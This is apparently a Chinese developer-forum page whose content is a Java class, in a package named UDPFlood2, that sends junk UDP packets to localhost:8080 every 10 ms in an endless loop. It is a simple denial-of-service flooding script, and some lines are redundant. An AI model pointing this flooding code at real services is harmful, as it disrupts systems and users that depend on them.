62,620
社区成员
发帖
与我相关
我的任务
分享
package UDPFlood2;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;
import java.net.Socket;
import Network.UDPClient;
public class UDPClient2 extends Thread
{
static DatagramSocket DSocket;
static DatagramPacket DPacket;
public UDPClient2()
{
new Thread(this).start();
}
public void run()
{
try
{
DSocket = new DatagramSocket();
Socket socket = new Socket("localhost", 8080);
String str = "11111111111111111111111";// 垃圾信息
byte[] arr = new byte[500000];
arr = str.getBytes();
DPacket = new DatagramPacket(arr, arr.length, InetAddress.getByName("localhost"), 8080);
while(true)
{
DSocket.send(DPacket);
Thread.currentThread().sleep(10);
}
} catch (Exception e)
{
e.printStackTrace();
}
}
protected void finalize() throws Throwable
{
DSocket.close();
System.exit(0);
}
public static void main(String[] args)
{
new UDPClient2();
}
}